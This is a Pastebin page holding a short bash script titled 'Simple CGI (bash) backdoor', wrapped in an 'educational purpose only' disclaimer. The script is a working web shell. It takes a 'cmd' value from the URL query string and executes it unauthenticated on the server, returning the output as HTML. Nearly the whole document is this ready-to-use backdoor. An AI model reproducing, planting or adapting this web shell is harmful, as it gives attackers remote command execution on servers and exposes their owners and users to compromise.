Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- #
- # Simple CGI (bash) backdoor
- #
- # todor.donev@gmail.com
- # http://www.ethical-hacker.org/
- # https://www.facebook.com/ethicalhackerorg
- # http://pastebin.com/u/hackerscommunity
- #
- # Disclaimer:
- # This or previous program is for Educational
- # purpose ONLY. Do not use it without permission.
- # The usual disclaimer applies, especially the
- # fact that Todor Donev is not liable for any
- # damages caused by direct or indirect use of the
- # information or functionality provided by these
- # programs. The author or any Internet provider
- # bears NO responsibility for content or misuse
- # of these programs or any derivatives thereof.
- # By using these programs you accept the fact
- # that any damage (dataloss, system crash, system
- # compromise, etc.) caused by the use of these
- # programs is not Todor Donev's responsibility.
- #
- # Use at your own risk and educational purpose
- # ONLY!
- #
- echo "Content-type: text/html"
- echo "
- <html>
- <body>
- <pre>"
- if [ -z "$QUERY_STRING" ]; then
- exit 0
- else
- cmd=`echo "$QUERY_STRING" | sed -n 's/^.*cmd=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
- fi
- $cmd
- echo "</pre>
- </body>
- </html>
- "
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement